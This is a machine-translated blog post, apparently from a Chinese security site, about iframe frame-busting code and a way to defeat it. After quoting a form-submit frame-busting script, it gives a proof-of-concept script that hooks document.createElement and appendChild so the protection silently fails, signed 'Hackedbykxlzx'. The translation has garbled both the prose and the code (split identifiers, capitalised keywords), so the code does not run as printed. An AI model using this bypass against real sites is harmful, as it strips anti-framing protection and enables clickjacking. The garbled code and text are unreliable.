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Anti-plug-in and cracking of iframe

Source: Internet
Author: User
Tags sleep function
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The soul of an empty prodigal soul

Read Monyer's article:

Iframe anti-plug and strong plug (2): The http://www.bkjia.com/Article/200902/31888.html code is as follows: JavaScript code
  1. <Script>
  2. Window. onload =Function(){
  3. If(Top! = Self ){
  4. VarF = document. createElement ("Form");
  5. F. action = location;
  6. F.tar get ="_ Parent";
  7. Document. body. appendChild (f );
  8. F. submit ();
  9. }
  10. };
  11. </Script>

Forced submission. I carefully read this article and then practiced it. I found that the two onloads will overwrite the previous onload.

And the protection code is in the "body" operation ".

Therefore, this code must be applied to the bottom of the page.

Look at the previous

Iframe protection plug and strong plug: http://www.bkjia.com/Article/200902/31827.html

Attackers can control at least a piece of JavaScript code, so they can "Force Insert ".

Finally, Monyer provides a solution.

But take a closer look, there are still a lot of problems.

There was a SLEEP function in YY and JS last night, so that the subsequent code could not be executed until "half a year", so his solution would be ineffective.

So the test was successful.

I chatted with you about this in the morning and was severely attacked. Originally, JS didn't have this function at all... The subsequent steps are indeed not executed (JS errors ). ...

After careful research, I finally thought of a method to crack it. HOOK...

Look at the code. I put the monyer code in and won't let it run smoothly.

JavaScript code
  1. <Head>
  2. </Head>
  3. <Body>
  4. Haha...
  6. </Body>
  7. <Script>
  9. Document. createElement =Function(Test)
  10. {
  11. VarF =NewObject ();
  12. F. action = location;
  13. F.tar get ="_ Parent";
  15. F. submit =Function(){};
  16. ReturnF;
  17. }
  18. Document. body. appendChild =Function(Test ){}
  20. Window. onload =Function() {Alert (1 );}
  22. // ------------------------------ The following is the Monyer method. Original copy.
  23. Window. onload =Function(){
  24. If(Top! = Self){
  25. VarF = document. createElement ("Form");
  26. F. action = location;
  27. F.tar get ="_ Parent";
  28. Document. body. appendChild (f );
  29. F. submit ();
  30. }
  31. };
  32. // Ad time http://www.inbreak.net
  33. Alert (Hackedbykxlzx);
  34. </Script>

Create a class to HOOK up all the things used in this method... Hey hey... At the same time, ensure that the subsequent JavaScript code is correctly executed.

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Related Keywords:
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